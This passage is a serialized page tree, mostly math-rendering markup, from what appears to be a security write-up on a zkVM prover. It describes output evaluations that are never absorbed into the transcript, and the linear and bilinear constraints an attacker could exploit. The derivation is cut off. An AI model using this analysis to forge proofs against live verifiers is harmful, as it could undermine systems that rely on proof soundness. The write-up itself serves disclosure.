props":118843,"children":118845},{"className":118844,"style":4282},[4184],[],{"type":23,"tag":213,"props":118847,"children":118849},{"className":118848},[4287],[118850],{"type":28,"value":3190},{"type":23,"tag":213,"props":118852,"children":118854},{"className":118853,"style":4282},[4184],[],{"type":23,"tag":213,"props":118856,"children":118858},{"className":118857},[4092],[118859,118864,118921,118925,118934,118939,118948,118953,119015,119019,119024],{"type":23,"tag":213,"props":118860,"children":118863},{"className":118861,"style":118862},[4097],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":23,"tag":213,"props":118865,"children":118867},{"className":118866},[21673],[118868,118873],{"type":23,"tag":213,"props":118869,"children":118871},{"className":118870,"style":21680},[21673,21678,21679],[118872],{"type":28,"value":118698},{"type":23,"tag":213,"props":118874,"children":118876},{"className":118875},[4120],[118877],{"type":23,"tag":213,"props":118878,"children":118880},{"className":118879},[4125,21691],[118881,118910],{"type":23,"tag":213,"props":118882,"children":118884},{"className":118883},[4130],[118885,118905],{"type":23,"tag":213,"props":118886,"children":118888},{"className":118887,"style":114307},[4135],[118889],{"type":23,"tag":213,"props":118890,"children":118891},{"style":21704},[118892,118896],{"type":23,"tag":213,"props":118893,"children":118895},{"className":118894,"style":4145},[4144],[],{"type":23,"tag":213,"props":118897,"children":118899},{"className":118898},[4150,4151,4152,4153],[118900],{"type":23,"tag":213,"props":118901,"children":118903},{"className":118902,"style":114323},[4103,21637,4153],[118904],{"type":28,"value":8741},{"type":23,"tag":213,"props":118906,"children":118908},{"className":118907},[21794],[118909],{"type":28,"value":21797},{"type":23,"tag":213,"props":118911,"children":118913},{"className":118912},[4130],[118914],{"type":23,"tag":213,"props":118915,"children":118917},{"className":118916,"style":114338},[4135],[118918],{"type":23,"tag":213,"props":118919,"children":118920},{},[],{"type":23,"tag":213,"props":118922,"children":118924},{"className":118923,"style":4223},[4184],[],{"type":23,"tag":213,"props":118926,"children":118928},{"className":118927},[4103,28],[118929],{"type":23,"tag":213,"props":118930,"children":118932},{"className":118931},[4103],[118933],{"type":28,"value":49624},{"type":23,"tag":213,"props":118935,"children":118937},{"className":118936,"style":93100},[4103],[118938],{"type":28,"value":3181},{"type":23,"tag":213,"props":118940,"children":118942},{"className":118941},[4103,28],[118943],{"type":23,"tag":213,"props":118944,"children":118946},{"className":118945},[4103],[118947],{"type":28,"value":118774},{"type":23,"tag":213,"props":118949,"children":118951},{"className":118950,"style":93100},[4103],[118952],{"type":28,"value":3181},{"type":23,"tag":213,"props":118954,"children":118956},{"className":118955},[4103],[118957,118966],{"type":23,"tag":213,"props":118958,"children":118960},{"className":118959},[4103,28],[118961],{"type":23,"tag":213,"props":118962,"children":118964},{"className":118963},[4103],[118965],{"type":28,"value":118793},{"type":23,"tag":213,"props":118967,"children":118969},{"className":118968},[4120],[118970],{"type":23,"tag":213,"props":118971,"children":118973},{"className":118972},[4125,21691],[118974,119003],{"type":23,"tag":213,"props":118975,"children":118977},{"className":118976},[4130],[118978,118998],{"type":23,"tag":213,"props":118979,"children":118981},{"className":118980,"style":93629},[4135],[118982],{"type":23,"tag":213,"props":118983,"children":118984},{"style":114230},[118985,118989],{"type":23,"tag":213,"props":118986,"children":118988},{"className":118987,"style":4145},[4144],[],{"type":23,"tag":213,"props":118990,"children":118992},{"className":118991},[4150,4151,4152,4153],[118993],{"type":23,"tag":213,"props":118994,"children":118996},{"className":118995,"style":114323},[4103,21637,4153],[118997],{"type":28,"value":8741},{"type":23,"tag":213,"props":118999,"children":119001},{"className":119000},[21794],[119002],{"type":28,"value":21797},{"type":23,"tag":213,"props":119004,"children":119006},{"className":119005},[4130],[119007],{"type":23,"tag":213,"props":119008,"children":119011},{"className":119009,"style":119010},[4135],"height:0.2861em;",[119012],{"type":23,"tag":213,"props":119013,"children":119014},{},[],{"type":23,"tag":213,"props":119016,"children":119018},{"className":119017,"style":4185},[4184],[],{"type":23,"tag":213,"props":119020,"children":119022},{"className":119021},[4190],[119023],{"type":28,"value":111362},{"type":23,"tag":213,"props":119025,"children":119027},{"className":119026,"style":4185},[4184],[],{"type":23,"tag":213,"props":119029,"children":119031},{"className":119030},[4092],[119032,119036,119041,119051],{"type":23,"tag":213,"props":119033,"children":119035},{"className":119034,"style":4205},[4097],[],{"type":23,"tag":213,"props":119037,"children":119039},{"className":119038},[21766],[119040],{"type":28,"value":265},{"type":23,"tag":213,"props":119042,"children":119044},{"className":119043},[4103,28],[119045],{"type":23,"tag":213,"props":119046,"children":119048},{"className":119047},[4103],[119049],{"type":28,"value":119050},"state factors",{"type":23,"tag":213,"props":119052,"children":119054},{"className":119053},[21788],[119055],{"type":28,"value":2121},{"type":23,"tag":24,"props":119057,"children":119058},{},[119059],{"type":23,"tag":95,"props":119060,"children":119061},{},[119062],{"type":28,"value":115516},{"type":23,"tag":202,"props":119064,"children":119066},{"code":119065},"ZKVMChipProof {\n r_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n w_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n lk_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n tower_proof: [...],\n gkr_iop_proof: [...],\n}\n",[119067],{"type":23,"tag":209,"props":119068,"children":119069},{"__ignoreMap":7},[119070],{"type":28,"value":119065},{"type":23,"tag":24,"props":119072,"children":119073},{},[119074,119080,119081,119087,119088,119094],{"type":23,"tag":209,"props":119075,"children":119077},{"className":119076},[],[119078],{"type":28,"value":119079},"r_out_evals",{"type":28,"value":424},{"type":23,"tag":209,"props":119082,"children":119084},{"className":119083},[],[119085],{"type":28,"value":119086},"w_out_evals",{"type":28,"value":6580},{"type":23,"tag":209,"props":119089,"children":119091},{"className":119090},[],[119092],{"type":28,"value":119093},"lk_out_evals",{"type":28,"value":119095}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":23,"tag":131,"props":119097,"children":119098},{},[119099],{"type":23,"tag":135,"props":119100,"children":119101},{},[119102,119107,119109,119115],{"type":23,"tag":95,"props":119103,"children":119104},{},[119105],{"type":28,"value":119106},"GKR/Tower equation",{"type":28,"value":119108}," (linear in ",{"type":23,"tag":209,"props":119110,"children":119112},{"className":119111},[],[119113],{"type":28,"value":119114},"out_evals",{"type":28,"value":24004},{"type":23,"tag":24,"props":119117,"children":119118},{},[119119,119121],{"type":28,"value":119120},"The tower sumcheck claim is ",{"type":23,"tag":209,"props":119122,"children":119124},{"className":119123},[4076,4077],[119125],{"type":23,"tag":213,"props":119126,"children":119128},{"className":119127},[4082],[119129],{"type":23,"tag":213,"props":119130,"children":119132},{"className":119131,"ariaHidden":1710},[4087],[119133,119164,119289],{"type":23,"tag":213,"props":119134,"children":119136},{"className":119135},[4092],[119137,119141,119151,119155,119160],{"type":23,"tag":213,"props":119138,"children":119140},{"className":119139,"style":93015},[4097],[],{"type":23,"tag":213,"props":119142,"children":119144},{"className":119143},[4103,28],[119145],{"type":23,"tag":213,"props":119146,"children":119148},{"className":119147},[4103],[119149],{"type":28,"value":119150},"claim",{"type":23,"tag":213,"props":119152,"children":119154},{"className":119153,"style":4282},[4184],[],{"type":23,"tag":213,"props":119156,"children":119158},{"className":119157},[4287],[119159],{"type":28,"value":3190},{"type":23,"tag":213,"props":119161,"children":119163},{"className":119162,"style":4282},[4184],[],{"type":23,"tag":213,"props":119165,"children":119167},{"className":119166},[4092],[119168,119173,119230,119234,119276,119280,119285],{"type":23,"tag":213,"props":119169,"children":119172},{"className":119170,"style":119171},[4097],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":23,"tag":213,"props":119174,"children":119176},{"className":119175},[21673],[119177,119182],{"type":23,"tag":213,"props":119178,"children":119180},{"className":119179,"style":21680},[21673,21678,21679],[119181],{"type":28,"value":108895},{"type":23,"tag":213,"props":119183,"children":119185},{"className":119184},[4120],[119186],{"type":23,"tag":213,"props":119187,"children":119189},{"className":119188},[4125,21691],[119190,119219],{"type":23,"tag":213,"props":119191,"children":119193},{"className":119192},[4130],[119194,119214],{"type":23,"tag":213,"props":119195,"children":119197},{"className":119196,"style":114307},[4135],[119198],{"type":23,"tag":213,"props":119199,"children":119200},{"style":21704},[119201,119205],{"type":23,"tag":213,"props":119202,"children":119204},{"className":119203,"style":4145},[4144],[],{"type":23,"tag":213,"props":119206,"children":119208},{"className":119207},[4150,4151,4152,4153],[119209],{"type":23,"tag":213,"props":119210,"children":119212},{"className":119211,"style":114323},[4103,21637,4153],[119213],{"type":28,"value":8741},{"type":23,"tag":213,"props":119215,"children":119217},{"className":119216},[21794],[119218],{"type":28,"value":21797},{"type":23,"tag":213,"props":119220,"children":119222},{"className":119221},[4130],[119223],{"type":23,"tag":213,"props":119224,"children":119226},{"className":119225,"style":114338},[4135],[119227],{"type":23,"tag":213,"props":119228,"children":119229},{},[],{"type":23,"tag":213,"props":119231,"children":119233},{"className":119232,"style":4223},[4184],[],{"type":23,"tag":213,"props":119235,"children":119237},{"className":119236},[4103],[119238,119243],{"type":23,"tag":213,"props":119239,"children":119241},{"className":119240,"style":115188},[4103,21637],[119242],{"type":28,"value":115191},{"type":23,"tag":213,"props":119244,"children":119246},{"className":119245},[4120],[119247],{"type":23,"tag":213,"props":119248,"children":119250},{"className":119249},[4125],[119251],{"type":23,"tag":213,"props":119252,"children":119254},{"className":119253},[4130],[119255],{"type":23,"tag":213,"props":119256,"children":119259},{"className":119257,"style":119258},[4135],"height:0.8247em;",[119260],{"type":23,"tag":213,"props":119261,"children":119262},{"style":4139},[119263,119267],{"type":23,"tag":213,"props":119264,"children":119266},{"className":119265,"style":4145},[4144],[],{"type":23,"tag":213,"props":119268,"children":119270},{"className":119269},[4150,4151,4152,4153],[119271],{"type":23,"tag":213,"props":119272,"children":119274},{"className":119273,"style":114323},[4103,21637,4153],[119275],{"type":28,"value":8741},{"type":23,"tag":213,"props":119277,"children":119279},{"className":119278,"style":4185},[4184],[],{"type":23,"tag":213,"props":119281,"children":119283},{"className":119282},[4190],[119284],{"type":28,"value":111362},{"type":23,"tag":213,"props":119286,"children":119288},{"className":119287,"style":4185},[4184],[],{"type":23,"tag":213,"props":119290,"children":119292},{"className":119291},[4092],[119293,119297,119306,119311],{"type":23,"tag":213,"props":119294,"children":119296},{"className":119295,"style":94513},[4097],[],{"type":23,"tag":213,"props":119298,"children":119300},{"className":119299},[4103,28],[119301],{"type":23,"tag":213,"props":119302,"children":119304},{"className":119303},[4103],[119305],{"type":28,"value":118774},{"type":23,"tag":213,"props":119307,"children":119309},{"className":119308,"style":93100},[4103],[119310],{"type":28,"value":3181},{"type":23,"tag":213,"props":119312,"children":119314},{"className":119313},[4103],[119315,119324],{"type":23,"tag":213,"props":119316,"children":119318},{"className":119317},[4103,28],[119319],{"type":23,"tag":213,"props":119320,"children":119322},{"className":119321},[4103],[119323],{"type":28,"value":118793},{"type":23,"tag":213,"props":119325,"children":119327},{"className":119326},[4120],[119328],{"type":23,"tag":213,"props":119329,"children":119331},{"className":119330},[4125,21691],[119332,119361],{"type":23,"tag":213,"props":119333,"children":119335},{"className":119334},[4130],[119336,119356],{"type":23,"tag":213,"props":119337,"children":119339},{"className":119338,"style":93629},[4135],[119340],{"type":23,"tag":213,"props":119341,"children":119342},{"style":114230},[119343,119347],{"type":23,"tag":213,"props":119344,"children":119346},{"className":119345,"style":4145},[4144],[],{"type":23,"tag":213,"props":119348,"children":119350},{"className":119349},[4150,4151,4152,4153],[119351],{"type":23,"tag":213,"props":119352,"children":119354},{"className":119353,"style":114323},[4103,21637,4153],[119355],{"type":28,"value":8741},{"type":23,"tag":213,"props":119357,"children":119359},{"className":119358},[21794],[119360],{"type":28,"value":21797},{"type":23,"tag":213,"props":119362,"children":119364},{"className":119363},[4130],[119365],{"type":23,"tag":213,"props":119366,"children":119368},{"className":119367,"style":119010},[4135],[119369],{"type":23,"tag":213,"props":119370,"children":119371},{},[],{"type":23,"tag":24,"props":119373,"children":119374},{},[119375,119377,119382],{"type":28,"value":119376},"This check is linear in ",{"type":23,"tag":209,"props":119378,"children":119380},{"className":119379},[],[119381],{"type":28,"value":119114},{"type":28,"value":124},{"type":23,"tag":131,"props":119384,"children":119385},{"start":226},[119386],{"type":23,"tag":135,"props":119387,"children":119388},{},[119389,119394,119396,119401],{"type":23,"tag":95,"props":119390,"children":119391},{},[119392],{"type":28,"value":119393},"rw-product consistency",{"type":28,"value":119395}," (bilinear in ",{"type":23,"tag":209,"props":119397,"children":119399},{"className":119398},[],[119400],{"type":28,"value":119114},{"type":28,"value":24004},{"type":23,"tag":24,"props":119403,"children":119404},{},[119405],{"type":23,"tag":209,"props":119406,"children":119408},{"className":119407},[4076,4077],[119409],{"type":23,"tag":213,"props":119410,"children":119412},{"className":119411},[4082],[119413],{"type":23,"tag":213,"props":119414,"children":119416},{"className":119415,"ariaHidden":1710},[4087],[119417,119588,119759],{"type":23,"tag":213,"props":119418,"children":119420},{"className":119419},[4092],[119421,119425,119482,119486,119495,119500,119509,119514,119575,119579,119584],{"type":23,"tag":213,"props":119422,"children":119424},{"className":119423,"style":93042},[4097],[],{"type":23,"tag":213,"props":119426,"children":119428},{"className":119427},[21673],[119429,119434],{"type":23,"tag":213,"props":119430,"children":119432},{"className":119431,"style":21680},[21673,21678,21679],[119433],{"type":28,"value":118698},{"type":23,"tag":213,"props":119435,"children":119437},{"className":119436},[4120],[119438],{"type":23,"tag":213,"props":119439,"children":119441},{"className":119440},[4125,21691],[119442,119471],{"type":23,"tag":213,"props":119443,"children":119445},{"className":119444},[4130],[119446,119466],{"type":23,"tag":213,"props":119447,"children":119449},{"className":119448,"style":114307},[4135],[119450],{"type":23,"tag":213,"props":119451,"children":119452},{"style":21704},[119453,119457],{"type":23,"tag":213,"props":119454,"children":119456},{"className":119455,"style":4145},[4144],[],{"type":23,"tag":213,"props":119458,"children":119460},{"className":119459},[4150,4151,4152,4153],[119461],{"type":23,"tag":213,"props":119462,"children":119464},{"className":119463},[4103,21637,4153],[119465],{"type":28,"value":3826},{"type":23,"tag":213,"props":119467,"children":119469},{"className":119468},[21794],[119470],{"type":28,"value":21797},{"type":23,"tag":213,"props":119472,"children":119474},{"className":119473},[4130],[119475],{"type":23,"tag":213,"props":119476,"children":119478},{"className":119477,"style":114587},[4135],[119479],{"type":23,"tag":213,"props":119480,"children":119481},{},[],{"type":23,"tag":213,"props":119483,"children":119485},{"className":119484,"style":4223},[4184],[],{"type":23,"tag":213,"props":119487,"children":119489},{"className":119488},[4103,28],[119490],{"type":23,"tag":213,"props":119491,"children":119493},{"className":119492},[4103],[119494],{"type":28,"value":93919},{"type":23,"tag":213,"props":119496,"children":119498},{"className":119497,"style":93100},[4103],[119499],{"type":28,"value":3181},{"type":23,"tag":213,"props":119501,"children":119503},{"className":119502},[4103,28],[119504],{"type":23,"tag":213,"props":119505,"children":119507},{"className":119506},[4103],[119508],{"type":28,"value":118774},{"type":23,"tag":213,"props":119510,"children":119512},{"className":119511,"style":93100},[4103],[119513],{"type":28,"value":3181},{"type":23,"tag":213,"props":119515,"children":119517},{"className":119516},[4103],[119518,119527],{"type":23,"tag":213,"props":119519,"children":119521},{"className":119520},[4103,28],[119522],{"type":23,"tag":213,"props":119523,"children":119525},{"className":119524},[4103],[119526],{"type":28,"value":118793},{"type":23,"tag":213,"props":119528,"children":119530},{"className":119529},[4120],[119531],{"type":23,"tag":213,"props":119532,"children":119534},{"className":119533},[4125,21691],[119535,119564],{"type":23,"tag":213,"props":119536,"children":119538},{"className":119537},[4130],[119539,119559],{"type":23,"tag":213,"props":119540,"children":119542},{"className":119541,"style":93629},[4135],[119543],{"type":23,"tag":213,"props":119544,"children":119545},{"style":114230},[119546,119550],{"type":23,"tag":213,"props":119547,"children":119549},{"className":119548,"style":4145},[4144],[],{"type":23,"tag":213,"props":119551,"children":119553},{"className":119552},[4150,4151,4152,4153],[119554],{"type":23,"tag":213,"props":119555,"children":119557},{"className":119556},[4103,21637,4153],[119558],{"type":28,"value":3826},{"type":23,"tag":213,"props":119560,"children":119562},{"className":119561},[21794],[119563],{"type":28,"value":21797},{"type":23,"tag":213,"props":119565,"children":119567},{"className":119566},[4130],[119568],{"type":23,"tag":213,"props":119569,"children":119571},{"className":119570,"style":93183},[4135],[119572],{"type":23,"tag":213,"props":119573,"children":119574},{},[],{"type":23,"tag":213,"props":119576,"children":119578},{"className":119577,"style":4282},[4184],[],{"type":23,"tag":213,"props":119580,"children":119582},{"className":119581},[4287],[119583],{"type":28,"value":3190},{"type":23,"tag":213,"props":119585,"children":119587},{"className":119586,"style":4282},[4184],[],{"type":23,"tag":213,"props":119589,"children":119591},{"className":119590},[4092],[119592,119596,119653,119657,119666,119671,119680,119685,119746,119750,119755],{"type":23,"tag":213,"props":119593,"children":119595},{"className":119594,"style":118862},[4097],[],{"type":23,"tag":213,"props":119597,"children":119599},{"className":119598},[21673],[119600,119605],{"type":23,"tag":213,"props":119601,"children":119603},{"className":119602,"style":21680},[21673,21678,21679],[119604],{"type":28,"value":118698},{"type":23,"tag":213,"props":119606,"children":119608},{"className":119607},[4120],[119609],{"type":23,"tag":213,"props":119610,"children":119612},{"className":119611},[4125,21691],[119613,119642],{"type":23,"tag":213,"props":119614,"children":119616},{"className":119615},[4130],[119617,119637],{"type":23,"tag":213,"props":119618,"children":119620},{"className":119619,"style":114307},[4135],[119621],{"type":23,"tag":213,"props":119622,"children":119623},{"style":21704},[119624,119628],{"type":23,"tag":213,"props":119625,"children":119627},{"className":119626,"style":4145},[4144],[],{"type":23,"tag":213,"props":119629,"children":119631},{"className":119630},[4150,4151,4152,4153],[119632],{"type":23,"tag":213,"props":119633,"children":119635},{"className":119634,"style":114323},[4103,21637,4153],[119636],{"type":28,"value":8741},{"type":23,"tag":213,"props":119638,"children":119640},{"className":119639},[21794],[119641],{"type":28,"value":21797},{"type":23,"tag":213,"props":119643,"children":119645},{"className":119644},[4130],[119646],{"type":23,"tag":213,"props":119647,"children":119649},{"className":119648,"style":114338},[4135],[119650],{"type":23,"tag":213,"props":119651,"children":119652},{},[],{"type":23,"tag":213,"props":119654,"children":119656},{"className":119655,"style":4223},[4184],[],{"type":23,"tag":213,"props":119658,"children":119660},{"className":119659},[4103,28],[119661],{"type":23,"tag":213,"props":119662,"children":119664},{"className":119663},[4103],[119665],{"type":28,"value":49624},{"type":23,"tag":213,"props":119667,"children":119669},{"className":119668,"style":93100},[4103],[119670],{"type":28,"value":3181},{"type":23,"tag":213,"props":119672,"children":119674},{"className":119673},[4103,28],[119675],{"type":23,"tag":213,"props":119676,"children":119678},{"className":119677},[4103],[119679],{"type":28,"value":118774},{"type":23,"tag":213,"props":119681,"children":119683},{"className":119682,"style":93100},[4103],[119684],{"type":28,"value":3181},{"type":23,"tag":213,"props":119686,"children":119688},{"className":119687},[4103],[119689,119698],{"type":23,"tag":213,"props":119690,"children":119692},{"className":119691},[4103,28],[119693],{"type":23,"tag":213,"props":119694,"children":119696},{"className":119695},[4103],[119697],{"type":28,"value":118793},{"type":23,"tag":213,"props":119699,"children":119701},{"className":119700},[4120],[119702],{"type":23,"tag":213,"props":119703,"children":119705},{"className":119704},[4125,21691],[119706,119735],{"type":23,"tag":213,"props":119707,"children":119709},{"className":119708},[4130],[119710,119730],{"type":23,"tag":213,"props":119711,"children":119713},{"className":119712,"style":93629},[4135],[119714],{"type":23,"tag":213,"props":119715,"children":119716},{"style":114230},[119717,119721],{"type":23,"tag":213,"props":119718,"children":119720},{"className":119719,"style":4145},[4144],[],{"type":23,"tag":213,"props":119722,"children":119724},{"className":119723},[4150,4151,4152,4153],[119725],{"type":23,"tag":213,"props":119726,"children":119728},{"className":119727,"style":114323},[4103,21637,4153],[119729],{"type":28,"value":8741},{"type":23,"tag":213,"props":119731,"children":119733},{"className":119732},[21794],[119734],{"type":28,"value":21797},{"type":23,"tag":213,"props":119736,"children":119738},{"className":119737},[4130],[119739],{"type":23,"tag":213,"props":119740,"children":119742},{"className":119741,"style":119010},[4135],[119743],{"type":23,"tag":213,"props":119744,"children":119745},{},[],{"type":23,"tag":213,"props":119747,"children":119749},{"className":119748,"style":4185},[4184],[],{"type":23,"tag":213,"props":119751,"children":119753},{"className":119752},[4190],[119754],{"type":28,"value":111362},{"type":23,"tag":213,"props":119756,"children":119758},{"className":119757,"style":4185},[4184],[],{"type":23,"tag":213,"props":119760,"children":119762},{"className":119761},[4092],[119763,119767,119772,119781],{"type":23,"tag":213,"props":119764,"children":119766},{"className":119765,"style":4205},[4097],[],{"type":23,"tag":213,"props":119768,"children":119770},{"className":119769},[21766],[119771],{"type":28,"value":265},{"type":23,"tag":213,"props":119773,"children":119775},{"className":119774},[4103,28],[119776],{"type":23,"tag":213,"props":119777,"children":119779},{"className":119778},[4103],[119780],{"type":28,"value":119050},{"type":23,"tag":213,"props":119782,"children":119784},{"className":119783},[21788],[119785],{"type":28,"value":2121},{"type":23,"tag":24,"props":119787,"children":119788},{},[119789,119791,119960,119961,120130],{"type":28,"value":119790},"If we vary ",{"type":23,"tag":209,"props":119792,"children":119794},{"className":119793},[4076,4077],[119795],{"type":23,"tag":213,"props":119796,"children":119798},{"className":119797},[4082],[119799],{"type":23,"tag":213,"props":119800,"children":119802},{"className":119801,"ariaHidden":1710},[4087],[119803,119881],{"type":23,"tag":213,"props":119804,"children":119806},{"className":119805},[4092],[119807,119811,119868,119872,119877],{"type":23,"tag":213,"props":119808,"children":119810},{"className":119809,"style":110070},[4097],[],{"type":23,"tag":213,"props":119812,"children":119814},{"className":119813},[4103],[119815,119820],{"type":23,"tag":213,"props":119816,"children":119818},{"className":119817},[4103,21637],[119819],{"type":28,"value":19329},{"type":23,"tag":213,"props":119821,"children":119823},{"className":119822},[4120],[119824],{"type":23,"tag":213,"props":119825,"children":119827},{"className":119826},[4125,21691],[119828,119857],{"type":23,"tag":213,"props":119829,"children":119831},{"className":119830},[4130],[119832,119852],{"type":23,"tag":213,"props":119833,"children":119835},{"className":119834,"style":93152},[4135],[119836],{"type":23,"tag":213,"props":119837,"children":119838},{"style":93156},[119839,119843],{"type":23,"tag":213,"props":119840,"children":119842},{"className":119841,"style":4145},[4144],[],{"type":23,"tag":213,"props":119844,"children":119846},{"className":119845},[4150,4151,4152,4153],[119847],{"type":23,"tag":213,"props":119848,"children":119850},{"className":119849},[4103,4153],[119851],{"type":28,"value":4116},{"type":23,"tag":213,"props":119853,"children":119855},{"className":119854},[21794],[119856],{"type":28,"value":21797},{"type":23,"tag":213,"props":119858,"children":119860},{"className":119859},[4130],[119861],{"type":23,"tag":213,"props":119862,"children":119864},{"className":119863,"style":93183},[4135],[119865],{"type":23,"tag":213,"props":119866,"children":119867},{},[],{"type":23,"tag":213,"props":119869,"children":119871},{"className":119870,"style":4282},[4184],[],{"type":23,"tag":213,"props":119873,"children":119875},{"className":119874},[4287],[119876],{"type":28,"value":3190},{"type":23,"tag":213,"props":119878,"children":119880},{"className":119879,"style":4282},[4184],[],{"type":23,"tag":213,"props":119882,"children":119884},{"className":119883},[4092],[119885,119889,119930,119935,119940,119945,119950,119955],{"type":23,"tag":213,"props":119886,"children":119888},{"className":119887,"style":93042},[4097],[],{"type":23,"tag":213,"props":119890,"children":119892},{"className":119891},[4103],[119893,119902,119907,119916,119921],{"type":23,"tag":213,"props":119894,"children":119896},{"className":119895},[4103,28],[119897],{"type":23,"tag":213,"props":119898,"children":119900},{"className":119899},[4103],[119901],{"type":28,"value":93919},{"type":23,"tag":213,"props":119903,"children":119905},{"className":119904,"style":93100},[4103],[119906],{"type":28,"value":3181},{"type":23,"tag":213,"props":119908,"children":119910},{"className":119909},[4103,28],[119911],{"type":23,"tag":213,"props":119912,"children":119914},{"className":119913},[4103],[119915],{"type":28,"value":118774},{"type":23,"tag":213,"props":119917,"children":119919},{"className":119918,"style":93100},[4103],[119920],{"type":28,"value":3181},{"type":23,"tag":213,"props":119922,"children":119924},{"className":119923},[4103,28],[119925],{"type":23,"tag":213,"props":119926,"children":119928},{"className":119927},[4103],[119929],{"type":28,"value":118793},{"type":23,"tag":213,"props":119931,"children":119933},{"className":119932},[21766],[119934],{"type":28,"value":3821},{"type":23,"tag":213,"props":119936,"children":119938},{"className":119937},[4103],[119939],{"type":28,"value":4116},{"type":23,"tag":213,"props":119941,"children":119943},{"className":119942},[21788],[119944],{"type":28,"value":15470},{"type":23,"tag":213,"props":119946,"children":119948},{"className":119947},[21766],[119949],{"type":28,"value":3821},{"type":23,"tag":213,"props":119951,"children":119953},{"className":119952},[4103],[119954],{"type":28,"value":4116},{"type":23,"tag":213,"props":119956,"children":119958},{"className":119957},[21788],[119959],{"type":28,"value":15470},{"type":28,"value":1466},{"type":23,"tag":209,"props":119962,"children":119964},{"className":119963},[4076,4077],[119965],{"type":23,"tag":213,"props":119966,"children":119968},{"className":119967},[4082],[119969],{"type":23,"tag":213,"props":119970,"children":119972},{"className":119971,"ariaHidden":1710},[4087],[119973,120051],{"type":23,"tag":213,"props":119974,"children":119976},{"className":119975},[4092],[119977,119981,120038,120042,120047],{"type":23,"tag":213,"props":119978,"children":119980},{"className":119979,"style":110070},[4097],[],{"type":23,"tag":213,"props":119982,"children":119984},{"className":119983},[4103],[119985,119990],{"type":23,"tag":213,"props":119986,"children":119988},{"className":119987},[4103,21637],[119989],{"type":28,"value":19329},{"type":23,"tag":213,"props":119991,"children":119993},{"className":119992},[4120],[119994],{"type":23,"tag":213,"props":119995,"children":119997},{"className":119996},[4125,21691],[119998,120027],{"type":23,"tag":213,"props":119999,"children":120001},{"className":120000},[4130],[120002,120022],{"type":23,"tag":213,"props":120003,"children":120005},{"className":120004,"style":93152},[4135],[120006],{"type":23,"tag":213,"props":120007,"children":120008},{"style":93156},[120009,120013],{"type":23,"tag":213,"props":120010,"children":120012},{"className":120011,"style":4145},[4144],[],{"type":23,"tag":213,"props":120014,"children":120016},{"className":120015},[4150,4151,4152,4153],[120017],{"type":23,"tag":213,"props":120018,"children":120020},{"className":120019},[4103,4153],[120021],{"type":28,"value":4106},{"type":23,"tag":213,"props":120023,"children":120025},{"className":120024},[21794],[120026],{"type":28,"value":21797},{"type":23,"tag":213,"props":120028,"children":120030},{"className":120029},[4130],[120031],{"type":23,"tag":213,"props":120032,"children":120034},{"className":120033,"style":93183},[4135],[120035],{"type":23,"tag":213,"props":120036,"children":120037},{},[],{"type":23,"tag":213,"props":120039,"children":120041},{"className":120040,"style":4282},[4184],[],{"type":23,"tag":213,"props":120043,"children":120045},{"className":120044},[4287],[120046],{"type":28,"value":3190},{"type":23,"tag":213,"props":120048,"children":120050},{"className":120049,"style":4282},[4184],[],{"type":23,"tag":213,"props":120052,"children":120054},{"className":120053},[4092],[120055,120059,120100,120105,120110,120115,120120,120125],{"type":23,"tag":213,"props":120056,"children":120058},{"className":120057,"style":93042},[4097],[],{"type":23,"tag":213,"props":120060,"children":120062},{"className":120061},[4103],[120063,120072,120077,120086,120091],{"type":23,"tag":213,"props":120064,"children":120066},{"className":120065},[4103,28],[120067],{"type":23,"tag":213,"props":120068,"children":120070},{"className":120069},[4103],[120071],{"type":28,"value":93919},{"type":23,"tag":213,"props":120073,"children":120075},{"className":120074,"style":93100},[4103],[120076],{"type":28,"value":3181},{"type":23,"tag":213,"props":120078,"children":120080},{"className":120079},[4103,28],[120081],{"type":23,"tag":213,"props":120082,"children":120084},{"className":120083},[4103],[120085],{"type":28,"value":118774},{"type":23,"tag":213,"props":120087,"children":120089},{"className":120088,"style":93100},[4103],[120090],{"type":28,"value":3181},{"type":23,"tag":213,"props":120092,"children":120094},{"className":120093},[4103,28],[120095],{"type":23,"tag":213,"props":120096,"children":120098},{"className":120097},[4103],[120099],{"type":28,"value":118793},{"type":23,"tag":213,"props":120101,"children":120103},{"className":120102},[21766],[120104],{"type":28,"value":3821},{"type":23,"tag":213,"props":120106,"children":120108},{"className":120107},[4103],[120109],{"type":28,"value":4116},{"type":23,"tag":213,"props":120111,"children":120113},{"className":120112},[21788],[120114],{"type":28,"value":15470},{"type":23,"tag":213,"props":120116,"children":120118},{"className":120117},[21766],[120119],{"type":28,"value":3821},{"type":23,"tag":213,"props":120121,"children":120123},{"className":120122},[4103],[120124],{"type":28,"value":4106},{"type":23,"tag":213,"props":120126,"children":120128},{"className":120127},[21788],[120129],{"type":28,"value":15470},{"type":28,"value":120131}," we get the following constraint:",{"type":23,"tag":24,"props":120133,"children":120134},{},[120135],{"type":23,"tag":209,"props":120136,"children":120138},{"className":120137},[4076,4077],[120139],{"type":23,"tag":213,"props":120140,"children":120142},{"className":120141},[4082],[120143],{"type":23,"tag":213,"props":120144,"children":120146},{"className":120145,"ariaHidden":1710},[4087],[120147,120226,120304,120345],{"type":23,"tag":213,"props":120148,"children":120150},{"className":120149},[4092],[120151,120156,120213,120217,120222],{"type":23,"tag":213,"props":120152,"children":120155},{"className":120153,"style":120154},[4097],"height:0.5945em;vertical-align:-0.15em;",[],{"type":23,"tag":213,"props":120157,"children":120159},{"className":120158},[4103],[120160,120165],{"type":23,"tag":213,"props":120161,"children":120163},{"className":120162},[4103,21637],[120164],{"type":28,"value":19329},{"type":23,"tag":213,"props":120166,"children":120168},{"className":120167},[4120],[120169],{"type":23,"tag":213,"props":120170,"children":120172},{"className":120171},[4125,21691],[120173,120202],{"type":23,"tag":213,"props":120174,"children":120176},{"className":120175},[4130],[120177,120197],{"type":23,"tag":213,"props":120178,"children":120180},{"className":120179,"style":93152},[4135],[120181],{"type":23,"tag":213,"props":120182,"children":120183},{"style":93156},[120184,120188],{"type":23,"tag":213,"props":120185,"children":120187},{"className":120186,"style":4145},[4144],[],{"type":23,"tag":213,"props":120189,"children":120191},{"className":120190},[4150,4151,4152,4153],[120192],{"type":23,"tag":213,"props":120193,"children":120195},{"className":120194},[4103,4153],[120196],{"type":28,"value":4116},{"type":23,"tag":213,"props":120198,"children":120200},{"className":120199},[21794],[120201],{